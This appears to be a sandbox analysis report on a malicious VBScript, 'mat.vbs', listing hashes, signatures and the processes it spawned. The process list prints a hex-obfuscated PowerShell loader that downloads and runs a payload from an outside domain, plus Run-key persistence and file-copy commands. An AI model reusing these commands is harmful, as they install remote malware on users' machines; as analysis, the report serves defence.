Analysis
-
max time kernel
14s -
max time network
139s -
platform
windows10_x64 -
resource
win10v200722 -
submitted
31-07-2020 13:37
General
-
Target
mat.vbs
-
Size
7KB
-
MD5
3f4f53a5a18c6b737d649b011dd6b9a1
-
SHA1
1848f72d0e23e721f3307a1ce2673f5d127b7032
-
SHA256
2a09c15cbdf630ca762a9baa8cffd71fdeeb9195f1ed0bcf1aab4d46afdb13dc
-
SHA512
97084c79f55bbd8f7d26df7b581a48cc81d9b5ef4b96cc26df505701b3f22bb179de6519157c83c8d00ef4b21f197fe7488ee40d7a1272bd3227113f692ae1ed
Score
10/10
Malware Config
Signatures
-
Suspicious behavior: EnumeratesProcesses 6 IoCs
-
Blacklisted process makes network request 1 IoCs
-
Adds Run key to start application 2 TTPs 1 IoCs
-
Process spawned unexpected child process 3 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Suspicious use of AdjustPrivilegeToken 44 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\mat.vbs"1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exePowershell -ExecutionPolicy Bypass $nvldWsMbZGIAablZWoxK='24 54 62 6F 6E 65 3D 27 2A 45 58 27 2E 72 65 70 6C 61 63 65 28 27 2A 27 2C 27 49 27 29 3B 73 61 6C 20 4D 20 24 54 62 6F 6E 65 3B 64 6F 20 7B 24 70 69 6E 67 20 3D 20 74 65 73 74 2D 63 6F 6E 6E 65 63 74 69 6F 6E 20 2D 63 6F 6D 70 20 67 6F 6F 67 6C 65 2E 63 6F 6D 20 2D 63 6F 75 6E 74 20 31 20 2D 51 75 69 65 74 7D 20 75 6E 74 69 6C 20 28 24 70 69 6E 67 29 3B 24 70 32 32 20 3D 20 5B 45 6E 75 6D 5D 3A 3A 54 6F 4F 62 6A 65 63 74 28 5B 53 79 73 74 65 6D 2E 4E 65 74 2E 53 65 63 75 72 69 74 79 50 72 6F 74 6F 63 6F 6C 54 79 70 65 5D 2C 20 33 30 37 32 29 3B 5B 53 79 73 74 65 6D 2E 4E 65 74 2E 53 65 72 76 69 63 65 50 6F 69 6E 74 4D 61 6E 61 67 65 72 5D 3A 3A 53 65 63 75 72 69 74 79 50 72 6F 74 6F 63 6F 6C 20 3D 20 24 70 32 32 3B 24 6D 76 3D 27 28 4E 27 2B 27 65 77 27 2B 27 2D 4F 27 2B 27 62 27 2B 27 6A 65 27 2B 27 63 27 2B 27 74 20 27 2B 20 27 4E 65 27 2B 27 74 2E 27 2B 27 57 27 2B 27 65 62 27 2B 27 43 27 2B 27 6C 69 27 2B 27 65 6E 74 29 27 2B 27 2E 44 27 2B 27 6F 77 27 2B 27 6E 6C 27 2B 27 6F 61 27 2B 27 64 27 2B 27 53 27 2B 27 74 72 27 2B 27 69 6E 67 28 27 27 68 74 74 70 73 3A 2F 2F 72 65 64 65 66 61 72 6D 61 70 61 63 68 65 63 6F 2E 63 6F 6D 2E 62 72 2F 6A 75 6C 68 6F 2F 32 38 6A 75 6C 68 6F 66 64 70 2E 6A 70 67 27 27 29 27 7C 49 60 45 60 58 3B 24 61 73 63 69 69 43 68 61 72 73 3D 20 24 6D 76 20 2D 73 70 6C 69 74 20 27 2D 27 20 7C 46 6F 72 45 61 63 68 2D 4F 62 6A 65 63 74 20 7B 5B 63 68 61 72 5D 5B 62 79 74 65 5D 22 30 78 24 5F 22 7D 3B 24 61 73 63 69 69 53 74 72 69 6E 67 3D 20 24 61 73 63 69 69 43 68 61 72 73 20 2D 6A 6F 69 6E 20 27 27 7C 4D';$jm=$nvldWsMbZGIAablZWoxK.Split(' ') | forEach {[char]([convert]::toint16($_,16))};$jm -join ''|I`E`X1⤵
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exePowershell $g='C:\Users\Admin\AppData\Local\Microsoft\mat.vbs';'Set-Item -Path HKCU:\Software\Micro@@oft\Window@@\CurrentVer@@ion\Run -Value $g'.replace('@@','s') |I`E`X1⤵
- Suspicious behavior: EnumeratesProcesses
- Adds Run key to start application
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.execmd /c copy "C:\Users\Admin\AppData\Local\Temp\mat.vbs" "C:\Users\Admin\AppData\Local\Microsoft\" /Y1⤵
- Process spawned unexpected child process